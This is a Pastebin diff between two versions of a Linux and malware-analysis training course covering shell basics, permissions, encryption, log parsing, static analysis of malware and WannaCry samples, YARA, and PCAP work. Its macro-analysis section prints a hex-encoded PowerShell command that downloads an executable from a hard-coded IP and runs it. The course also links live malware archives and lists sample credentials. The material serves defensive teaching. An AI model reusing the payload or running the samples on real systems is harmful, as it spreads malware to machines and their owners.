View difference between Paste ID: KiFN5mmX and eduSfPy3

-###############################################################
+
-# InfoSecAddicts Intro to Linux & Comptia Linux+ Exam Prep    #
+# PMRF Intro to Linux & Comptia Linux+ Exam Prep    #
-# By Joe McCray                                               #
+# By Joe McCray aegisweaponssystem                  #
-###############################################################
+
 
 - Here is a good set of slides for getting started with Linux:
 http://www.slideshare.net/olafusimichael/linux-training-24086319
-##########
+
-# VMWare #
+
-##########
+
-- For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
+
 
-- http://www.vmware.com/ap/products/player.html
+
 - I prefer to use Putty to SSH into my Linux host.
 - You can download Putty from here:
-- Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
+
 
 Here is the information to put into putty
-##########################
+
-# Download the attack VM #
+Host Name:          45.32.217.27
-##########################
+protocol:           ssh
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/Ubuntu-17-10-InfoSecAddictsVM.zip
+port:               22
-user:      infosecaddicts
+username:           pmrf
-pass:      infosecaddicts
+password:
 
 
 ########################
 # Basic Linux Commands #
 ########################
 
 ---------------------------Type This-----------------------------------
 cd ~
 
-- Log in to your Ubuntu host with the following credentials:
+
-	user:      infosecaddicts
+
-	pass:      infosecaddicts
+
 
 which pwd
 
-- I prefer to use Putty to SSH into my Ubuntu host on pentests and I'll be teaching this class in the same manner that I do pentests.
+
 
 /bin/pwd
 
 mkdir yourname					<---- replace 'yourname' with your first name in lowercase with no spaces or special characters please
-- For the purpose of this workshop 192.168.230.128 is my Ubuntu IP address so anytime you see that IP you'll know that's my Ubuntu host
+
 cd yourname						<---- replace 'yourname' with your first name in lowercase with no spaces or special characters please
 
 touch one two three
 
 ls -l t							(without pressing the Enter key, press the Tab key twice. What happens?)
 
 h								(and again without pressing the Enter key, press the Tab key twice. What happens?)
 
 Press the 'Up arrow key'		(What happens?)
 
 Press 'Ctrl-A'					(What happens?)
 
 ls
 
 clear							(What happens?)
 
 echo one > one
 
 cat one							(What happens?)
 
 man cat							(What happens?)
 	q
 
 cat two
 
 cat one > two
-ls -l t		(without pressing the Enter key, press the Tab key twice. What happens?)
+
 cat two
-h		(and again without pressing the Enter key, press the Tab key twice. What happens?)
+
 cat one two > three
-Press the 'Up arrow key'	(What happens?)
+
 cat three
-Press 'Ctrl-A'			(What happens?)
+
 echo four >> three
 
 cat three 						(What happens?)
-clear				(What happens?)
+
 wc -l three
 
 man wc
-cat one				(What happens?)
+
 
-man cat				(What happens?)
+
 	q
 
 cat three | grep four
 
 cat three | grep one
 
 man grep
 	q
 
 
 man ps
 	q
 
 ps
-cat three 			(What happens?)
+
 ps aux
 
 ps aux | less
 
 Press the 'Up arrow key'		(What happens?)
 
 Press the 'Down arrow key'		(What happens?)
 	q
 
 top
     q
 -----------------------------------------------------------------------
 
 
 #########
 # Files #
 #########
 ---------------------------Type This-----------------------------------
 cd ~
 
 pwd
 
 cd ~/yourname/
 
 pwd
 
-Press the 'Up arrow key'	(What happens?)
+
 
-Press the 'Down arrow key'	(What happens?)
+
 
 cd LinuxBasics
 
 pwd
 
 ls
 
 mkdir files
 
 cp one files/
 
 ls files/
 
 cd files/
 
 cp ../two .
 
 ls
 
 cp ../three .
 
 ls
 
 tar cvf files.tar *
 
 ls
 
 gzip files.tar
 
 ls
 
 rm -rf one two three
 
 ls
 
 tar -zxvf files.tar.gz
 
 rm -rf files.tar.gz
 
 zip data *
 
 unzip -l data.zip
 
 mkdir /tmp/yourname/
 
 unzip data.zip -d /tmp/yourname/
 -----------------------------------------------------------------------
 
 
 
 ############
 # VIM Demo #
 ############
 ---------------------------Type This-----------------------------------
 cd ~/yourname/LinuxBasics
 
 mkdir vimlesson
 
 cd vimlesson
 
 vi lesson1.sh
-sudo apt install -y zip unzip
+
 i								(press "i" to get into INSERT mode and then paste in the lines below)
 
 #!/bin/bash
 
 echo "This is my first time using vi to create a shell script"
-unzip data.zip -d /tmp
+
 echo " "
 echo " "
 sleep 5
 echo "Ok, now let's clear the screen"
 sleep 3
 clear
 
 
 ---------------don't put this line in your script----------------------------
-sudo apt install -y vim
+
 ESC			(press the ESC key to get you out of INSERT mode)
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 
 wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
 
 
 
 vi lesson1.sh
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
 
 wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
 
 
 
 
 vi lesson1.sh
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
 
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 /echo		(typing "/echo" immediately after SHIFT: will search the file for the word echo).
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
 
 
 
 
 vi lesson1.sh
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
 
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 4		(typing "4" immediately after SHIFT: will take you to line number 4).
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
 
 
 
 
 vi lesson1.sh
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
 
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 4		(typing "4" immediately after SHIFT: will take you to line number 4).
 
 dd		(typing "dd" will delete the line that you are on)
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
 
 
 
 
 vi lesson1.sh
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
 
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 4		(typing "4" immediately after SHIFT: will take you to line number 4).
 
 dd		(typing "dd" will delete the line that you are on)
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 syntax on		(typing "syntax on" immediately after SHIFT: will turn on syntax highlighting
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 set tabstop=5	(typing "set tabstop=5" immediately after SHIFT: will set your tabs to 5 spaces
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
 
 
 
 
 vi .vimrc
 i			(press "i" to get into INSERT mode and then paste in the lines below)
 
 
 set number
 syntax on
 set tabstop=5
 
 ESC			(press the ESC key to get you out of INSERT mode)
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
 
 
 
 
 
 
 vi lesson1.sh
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 echo $MYVIMRC	(typing "echo $MYVIMRC" immediately after SHIFT: will display the path to your new .vimrc file
 
 [SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
 
 wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
 -----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 ###############
 # Permissions #
 ###############
 ---------------------------Type This-----------------------------------
 cd ~/yourname/LinuxBasics
 
 ls -l one
 -----------------------------------------------------------------------
 We can determine a lot from examining the results of this command. The file "one" is owned by user "me".
 Now "me" has the right to read and write this file.
 The file is owned by the group "me". Members of the group "me" can also read and write this file.
 Everybody else can read this file
 
 
 ---------------------------Type This-----------------------------------
 ls -l /bin/bash
 -----------------------------------------------------------------------
 
 Here we can see:
 
 The file "/bin/bash" is owned by user "root". The superuser has the right to read, write, and execute this file.
 The file is owned by the group "root". Members of the group "root" can also read and execute this file.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Everybody else can read and execute this file
 
-cd ~
+
 The next command you need to know is "chmod"
 rwx rwx rwx = 111 111 111
 rw- rw- rw- = 110 110 110
 rwx --- --- = 111 000 000
 
 and so on...
 
 rwx = 111 in binary = 7
 rw- = 110 in binary = 6
 r-x = 101 in binary = 5
 r-- = 100 in binary = 4
 
 
 ---------------------------Type This-----------------------------------
 ls -l one
 
 chmod 600 one
 
 ls -l one
 
 sudo useradd yourname
 	aegisweaponssystem
 
 
 sudo passwd yourname
 
      P@$$w0rd321
      P@$$w0rd321
 
 sudo chown testuser one
 	aegisweaponssystem
 
 ls -l one
 
 sudo chgrp testuser one
 	aegisweaponssystem
 
 ls -l one
 
 id
 
 su testuser
      P@$$w0rd321
 -----------------------------------------------------------------------
 
-sudo useradd testuser
+
 
 Value	Meaning
-sudo passwd testuser
+777 (rwxrwxrwx) 	No restrictions on permissions. Anybody may do anything. Generally not a desirable setting.
 
-testuser
+755 (rwxr-xr-x) 	The file's owner may read, write, and execute the file. All others may read and execute the file. This setting is common for programs that are used by all users.
-testuser
+
 700 (rwx------) 	The file's owner may read, write, and execute the file. Nobody else has any rights. This setting is useful for programs that only the owner may use and must be kept private from others.
 
 666 (rw-rw-rw-) 	All users may read and write the file.
 
 644 (rw-r--r--) 	The owner may read and write a file, while all others may only read the file. A common setting for data files that everybody may read, but only the owner may change.
 
 600 (rw-------) 	The owner may read and write a file. All others have no rights. A common setting for data files that the owner wants to keep private.
 
 
 
 Directory permissions
 ---------------------
 The chmod command can also be used to control the access permissions for directories. In most ways, the permissions scheme for directories works the same way as they do with files. However, the execution permission is used in a different way. It provides control for access to file listing and other things. Here are some useful settings for directories:
 
-testuser
+
 777 (rwxrwxrwx) 	No restrictions on permissions.
 Anybody may list files, create new files in the directory and delete files in the directory.
 Generally not a good setting.
 
 
-777 (rwxrwxrwx) No restrictions on permissions. Anybody may do anything. Generally not a desirable setting.
+
 755 (rwxr-xr-x) 	The directory owner has full access.
-755 (rwxr-xr-x) The file's owner may read, write, and execute the file. All others may read and execute the file. This setting is common for programs that are used by all users.
+
 This setting is common for directories that you wish to share with other users.
-700 (rwx------) The file's owner may read, write, and execute the file. Nobody else has any rights. This setting is useful for programs that only the owner may use and must be kept private from others.
+
 
-666 (rw-rw-rw-) All users may read and write the file.
+
 700 (rwx------) 	The directory owner has full access. Nobody else has any rights. This setting is useful for directories that only the owner may use and must be kept private from others.
-644 (rw-r--r--) The owner may read and write a file, while all others may only read the file. A common setting for data files that everybody may read, but only the owner may change.
+
 ######################
-600 (rw-------) The owner may read and write a file. All others have no rights. A common setting for data files that the owner wants to keep private.
+
 ######################
 ---------------------------Type This-----------------------------------
 top
 	q
 
 htop
 	q
 
-777 (rwxrwxrwx) No restrictions on permissions.
+
 
 ps aux
 
 ps -A
 
-755 (rwxr-xr-x) The directory owner has full access.
+
 
 ps axjf
 
 pstree
 
-700 (rwx------) The directory owner has full access. Nobody else has any rights. This setting is useful for directories that only the owner may use and must be kept private from others.
+
 
 pgrep bash
 
 pgrep init
 
 ps aux | grep apache
 -----------------------------------------------------------------------
-sudo apt install -y htop
+
 
 
 You can list all of the signals that are possible to send with kill by typing:
 ---------------------------Type This-----------------------------------
 kill -l
 
 sudo kill -HUP pid_of_apache
 
 The pkill command works in almost exactly the same way as kill, but it operates on a process name instead:
 
 pkill -9 ping
 The above command is the equivalent of:
 
 kill -9 `pgrep ping`
 -----------------------------------------------------------------------
 
 
 
 
 ################
 # Hashing Demo #
 ################
 ---------------------------Type This-----------------------------------
 cd ~/yourname/LinuxBasics
 
 mkdir hashdemo
 
 cd hashdemo
 
 echo test > test.txt
 
 cat test.txt
 
 md5sum test.txt
 
 echo hello >> test.txt
 
 cat test.txt
 
 md5sum test.txt
 
 echo test2 > test2.txt
 
 cat test2.txt
 
-# MD5 Hashing Demo #
+sha256sum test2.txt
 
 echo hello >> test2.txt
-cd ~/LinuxBasics
+
 cat test2.txt
 
 sha256sum test2.txt
 
 cd ..
 -----------------------------------------------------------------------
 
 
 
 #################################
 # Symmetric Key Encryption Demo #
 #################################
 ---------------------------Type This-----------------------------------
 cd ~/yourname/LinuxBasics
 
 mkdir gpgdemo
 
-cd ~/LinuxBasics
+
 
 echo test > test.txt
 
 cat test.txt
 
 gpg -c test.txt
 	password
 	password
 
 ls | grep test
 
 cat test.txt
 
 cat test.txt.gpg
 
 rm -rf test.txt
 
 ls | grep test
 
 gpg -o output.txt test.txt.gpg
 	password
 
 cat output.txt
 -----------------------------------------------------------------------
 
 
-sudo apt install -y rng-tools
+
 #########################################################################################################################
 # Asymmetric Key Encryption Demo 											                                            #
-sudo /etc/init.d/rng-tools start
+
 # Configure random number generator 											                                        #
-sudo rngd -r /dev/urandom
+
 #########################################################################################################################
 ---------------------------Type This-----------------------------------
 cd ~/yourname/LinuxBasics/gpgdemo
 
 echo hello > file1.txt
 
 echo goodbye > file2.txt
 
 echo green > file3.txt
 
 echo blue > file4.txt
 
 tar czf files.tar.gz *.txt
 
 gpg --gen-key
 	1
 	1024
 	0
 	y
 	John Doe
 	john@doe.com
 	--blank comment--
 	O
 		password
 		password
 
 
 
 gpg --armor --output file-enc-pubkey.txt --export 'John Doe'
 
 cat file-enc-pubkey.txt
 
 gpg --armor --output file-enc-privkey.asc --export-secret-keys 'John Doe'
 
 cat file-enc-privkey.asc
 
 gpg --encrypt --recipient 'John Doe' files.tar.gz
 
 rm -rf files.tar.gz *.txt
 
 ls
 
 tar -zxvf files.tar.gz.gpg
 
 gpg --output output.tar.gz --decrypt files.tar.gz.gpg
 	password
 
 tar -zxvf output.tar.gz
 
 ls
 -----------------------------------------------------------------------
-############################
+
-# Encryption using OpenSSL #
+
-############################
+
 ##############################################
-openssl genrsa -out private_key.pem 1024
+
 ##############################################
-openssl rsa -in private_key.pem -out public_key.pem -outform PEM -pubout
+
 
 cat –  prints the content of a file in the terminal window
-echo hello > encrypt.txt
+
-openssl rsautl -encrypt -inkey public_key.pem -pubin -in encrypt.txt -out encrypt.dat
+
 sed –  performs find and replace functions
-cat encrypt.dat
+
 uniq – compares adjacent lines and can report, filter or provide a count of duplicates
-rm -rf encrypt.txt
+
 
 
 
-openssl rsautl -decrypt -inkey private_key.pem -in encrypt.dat -out decrypt.txt
+
 ##############
-cat decrypt.txt
+
 ##############
 ---------------------------Type This-----------------------------------
 wget https://s3.amazonaws.com/infosecaddictsfiles/cisco.log
 -----------------------------------------------------------------------
-# Secure File/Folder Deletion #
+
 
 AWK Basics
-sudo apt install -y secure-delete
+
 - To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
-wget https://www.sans.org/security-resources/tcpip.pdf
+
 cat cisco.log | awk '{print $5}' | tail -n 4
-file tcpip.pdf
+
 
-sudo srm tcpip.pdf
+
 
-wget https://www.sans.org/security-resources/tcpip.pdf
+
 ---------------------------Type This-----------------------------------
-shred tcpip.pdf
+
 -----------------------------------------------------------------------
-wget https://www.sans.org/security-resources/tcpip.pdf
+
 
 
 - While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
 ---------------------------Type This-----------------------------------
 cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
 -----------------------------------------------------------------------
 
 
 
 
 - Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
 ---------------------------Type This-----------------------------------
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:
 
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
 
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
 
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
 -----------------------------------------------------------------------
 
 
 ################
 # The Scenario #
 ################
 You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
 
 
 The fastest thing you can do is perform static analysis.
 
 
 
 ###################
 # Static Analysis #
 ###################
 
 - After logging please open a terminal window and type the following commands:
 ---------------------------Type This-----------------------------------
 cd Desktop/
 -----------------------------------------------------------------------
 
 - This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected':
 
 ---------------------------Type This-----------------------------------
 cd ~/Desktop/
 wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip --no-check-certificate
 wget https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py --no-check-certificate
 
 unzip malware-password-is-infected.zip
     infected
 
 file malware.exe
 
 mv malware.exe malware.pdf
 
 file malware.pdf
 
 mv malware.pdf malware.exe
 
 hexdump -n 2 -C malware.exe
 -----------------------------------------------------------------------
 
 
 ***What is '4d 5a' or 'MZ'***
 Reference:
 http://www.garykessler.net/library/file_sigs.html
 
 ---------------------------Type This-----------------------------------
 objdump -x malware.exe
 
 strings malware.exe
 
 strings --all malware.exe | head -n 6
 
 strings malware.exe | grep -i dll
 
 strings malware.exe | grep -i library
 
 strings malware.exe | grep -i reg
 
 strings malware.exe | grep -i hkey
 
 strings malware.exe | grep -i hku
 -----------------------------------------------------------------------
                             - We didn't see anything like HKLM, HKCU or other registry type stuff
 
 
 ---------------------------Type This-----------------------------------
 strings malware.exe | grep -i irc
 
 strings malware.exe | grep -i join
 
 strings malware.exe | grep -i admin
 
 strings malware.exe | grep -i list
 -----------------------------------------------------------------------
 
                             - List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
 
 ---------------------------Type This-----------------------------------
 sudo apt-get install -y python-pefile
      malware
 
 vi analyse_malware.py
 
 python analyse_malware.py malware.exe
 -----------------------------------------------------------------------
 
 
 
 
 ################################
 # Good references for WannaCry #
 ################################
 
 References:
 
 https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
 
 
 
 - After logging please open a terminal window and type the following commands:
 ---------------------------Type This-----------------------------------
 cd Desktop/
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
 
 unzip wannacry.zip
      infected
 
 file wannacry.exe
 
 mv wannacry.exe malware.pdf
 
 file malware.pdf
 
 mv malware.pdf wannacry.exe
 
 hexdump -n 2 -C wannacry.exe
 -----------------------------------------------------------------------
 
 
 
 ***What is '4d 5a' or 'MZ'***
 Reference:
 http://www.garykessler.net/library/file_sigs.html
 
 
 
 
 ---------------------------Type This-----------------------------------
 objdump -x wannacry.exe
 
 strings wannacry.exe
 
 strings --all wannacry.exe | head -n 6
 
 strings wannacry.exe | grep -i dll
 
 strings wannacry.exe | grep -i library
 
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i key
 
 strings wannacry.exe | grep -i rsa
 
 strings wannacry.exe | grep -i open
 
 strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
 
 strings wannacry.exe | grep -i irc
 
 strings wannacry.exe | grep -i join
 
 strings wannacry.exe | grep -i admin
 
 strings wannacry.exe | grep -i list
 -----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 
 
 Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
 
 Quick Google search for "wannacry ransomeware analysis"
 
 
 Reference
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 - Yara Rule -
 
 
 Strings:
 $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
 $s2 = “Wanna Decryptor” wide ascii nocase
 $s3 = “.wcry” wide ascii nocase
 $s4 = “WANNACRY” wide ascii nocase
 $s5 = “WANACRY!” wide ascii nocase
 $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
 
 
 
 
 
 
 
 
 Ok, let's look for the individual strings
 
 
 ---------------------------Type This-----------------------------------
 strings wannacry.exe | grep -i ooops
 
 strings wannacry.exe | grep -i wanna
 
 strings wannacry.exe | grep -i wcry
 
 strings wannacry.exe | grep -i wannacry
 
 strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
  -----------------------------------------------------------------------
 
 
 
 
 
 
 ####################################
 # Tired of GREP - let's try Python #
 ####################################
 Decided to make my own script for this kind of stuff in the future. I
 
 Reference1:
 https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
 
 This is a really good script for the basics of static analysis
 
 Reference:
 https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
 
 
 This is really good for showing some good signatures to add to the Python script
 
 
 Here is my own script using the signatures (started this yesterday, but still needs work):
 https://pastebin.com/guxzCBmP
 
 
 
 ---------------------------Type This-----------------------------------
 sudo apt install -y python-pefile
      infosecaddicts
 
 
 
 wget https://pastebin.com/raw/guxzCBmP
 
 
 mv guxzCBmP am.py
 
 
 vi am.py
 
 python am.py wannacry.exe
 -----------------------------------------------------------------------
 
 
 
 
 
 
 
 Building a Malware Scanner
 --------------------------
 
 ---------------------------Type This-----------------------------------
 mkdir ~/Desktop/malwarescanner
 
 cd ~/Desktop/malwarescanner
 
 wget https://github.com/jonahbaron/malwarescanner/archive/master.zip
 
 unzip master.zip
 
 cd malwarescanner-master/
 
 python scanner.py -h
 
 cat strings.txt
 
 cat hashes.txt
 
 mkdir ~/Desktop/malcode
 
 cp ~/Desktop/malware.exe ~/Desktop/malcode
 
 python scanner.py -H hashes.txt -D ~/Desktop/malcode/ strings.txt
 
 cd ~/Desktop/
  -----------------------------------------------------------------------
 
 
 #####################################################
 # Analyzing Macro Embedded Malware                  #
 # Reference:                                        #
 # https://jon.glass/analyzes-dridex-malware-p1/     #
 #####################################################
 ---------------------------Type This-----------------------------------
 cd ~/Desktop/
 
 
 sudo pip install olefile
 
 
 mkdir ~/Desktop/oledump
 
 cd ~/Desktop/oledump
 
 wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
 
 unzip oledump_V0_0_22.zip
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
 
 unzip 064016.zip
      infected
 
 python oledump.py 064016.doc
 
 python oledump.py 064016.doc -s A4 -v
 -----------------------------------------------------------------------
 
 
 
 - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
 - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
 
 ---------------------------Type This-----------------------------------
 python oledump.py 064016.doc -s A5 -v
 -----------------------------------------------------------------------
 
 - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
 
 ---------------------------Type This-----------------------------------
 python oledump.py 064016.doc -s A3 -v
 
 - Look for "GVhkjbjv" and you should see:
 
 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
 
 - Take that long blob that starts with 636D and finishes with 653B and paste it in:
 http://www.rapidtables.com/convert/number/hex-to-ascii.htm
 
 
 
 
 ##############
 # Yara Ninja #
 ##############
 ---------------------------Type This-----------------------------------
 sudo apt-get remove -y yara
 
 
 wget https://github.com/plusvic/yara/archive/v3.4.0.zip
 
 sudo apt-get -y install libtool
 
 
 unzip v3.4.0.zip
 
 cd yara-3.4.0
 
 ./bootstrap.sh
 
 ./configure
 
 make
 
 sudo make install
 
 
 yara -v
 
 cd ..
 
 wget https://github.com/Yara-Rules/rules/archive/master.zip
 
 unzip master.zip
 
 cd ~/Desktop
 
 yara rules-master/packer.yar malcode/malware.exe
  -----------------------------------------------------------------------
 
 Places to get more Yara rules:
 ------------------------------
 https://malwareconfig.com/static/yaraRules/
 https://github.com/kevthehermit/YaraRules
 https://github.com/VectraThreatLab/reyara
 
 
 
 Yara rule sorting script:
 -------------------------
 https://github.com/mkayoh/yarasorter
 
 
 ---------------------------Type This-----------------------------------
 cd ~/Desktop/rules-master
 for i in $( ls *.yar --hide=master.yar ); do echo include \"$i\";done > master.yar
 cd ~/Desktop/
 yara rules-master/master.yar malcode/malware.exe
  -----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 
 Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with:
 http://derekmorton.name/files/malware_12-14-12.sql.bz2
 
 
 Malware Repositories:
 http://malshare.com/index.php
 http://www.malwareblacklist.com/
 http://www.virusign.com/
 http://virusshare.com/
 http://www.tekdefense.com/downloads/malware-samples/
 
 
 
 
 ###############################
 # Creating a Malware Database #
 ###############################
 
 Creating a malware database (sqlite)
 ---------------------------Type This-----------------------------------
 sudo apt-get install -y python-simplejson python-simplejson-dbg
 
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/avsubmit.py
 wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip
 
 unzip malware-password-is-infected.zip
     infected
 
 python avsubmit.py --init
 
 python avsubmit.py -f malware.exe -e
  -----------------------------------------------------------------------
 
 
 
 
 Creating a malware database (mysql)
 -----------------------------------
 - Step 1: Installing MySQL database
 - Run the following command in the terminal:
 ---------------------------Type This-----------------------------------
 sudo apt-get install mysql-server
 
 
 - Step 2: Installing Python MySQLdb module
 - Run the following command in the terminal:
 ---------------------------Type This-----------------------------------
 sudo apt-get build-dep python-mysqldb
 
 
 sudo apt-get install python-mysqldb
 
  -----------------------------------------------------------------------
 
 Step 3: Logging in
 Run the following command in the terminal:
 ---------------------------Type This-----------------------------------
 mysql -u root -p                    (set a password of 'malware')
 
 - Then create one database by running following command:
 ---------------------------Type This-----------------------------------
 create database malware;
 
 exit;
 
 wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
 
 vi mal_to_db.py                     (fill in database connection information)
 
 python mal_to_db.py -i
  -----------------------------------------------------------------------
 
 ------- check it to see if the files table was created ------
 
 mysql -u root -p
     malware
 
 show databases;
 
 use malware;
 
 show tables;
 
 describe files;
 
 exit;
 
 ---------------------------------
 
 
 - Now add the malicious file to the DB
 ---------------------------Type This-----------------------------------
 python mal_to_db.py -f malware.exe -u
  -----------------------------------------------------------------------
 
 
 - Now check to see if it is in the DB
 ---------------------------Type This-----------------------------------
 mysql -u root -p
     malware
 
 mysql> use malware;
 
 select id,md5,sha1,sha256,time FROM files;
 
 mysql> quit;
 ------------------------------------------------------------------------
 
 
 
 
 #################
 # PCAP Analysis #
 #################
 ---------------------------Type This-----------------------------------
 cd ~/Desktop/
 
 mkdir suspiciouspcap/
 
 cd suspiciouspcap/
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl
 
 
 perl chaosreader.pl suspicious-time.pcap
 
 firefox index.html
 
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
 
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
 
 
 for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
 ------------------------------------------------------------------------
 
 
 
 ####################
 # Intro to TCPDump #
 ####################
 ---------------------------Type This-----------------------------------
 sudo apt-get install tcpdump
 
 
 
 Basic sniffing
 --------------
 ---------------------------Type This-----------------------------------
 sudo tcpdump -n
 
 
 Now lets increase the display resolution of this packet, or get more details about it. The verbose switch comes in handy
 ---------------------------Type This-----------------------------------
 sudo tcpdump -v -n
 
 
 
 Getting the ethernet header (link layer headers)
 ------------------------------------------------
 In the above examples details of the ethernet header are not printed. Use the -e option to print the ethernet header details as well.
 ---------------------------Type This-----------------------------------
 sudo tcpdump -vv -n -e
 ------------------------------------------------------------------------
 
 Sniffing a particular interface
 -------------------------------
 In order to sniff a particular network interface we must specify it with the -i switch. First lets get the list of available interfaces using the -D switch.
 ---------------------------Type This-----------------------------------
 sudo tcpdump -D
 ------------------------------------------------------------------------
 
 Filtering packets using expressions - Selecting protocols
 ---------------------------------------------------------
 ---------------------------Type This-----------------------------------
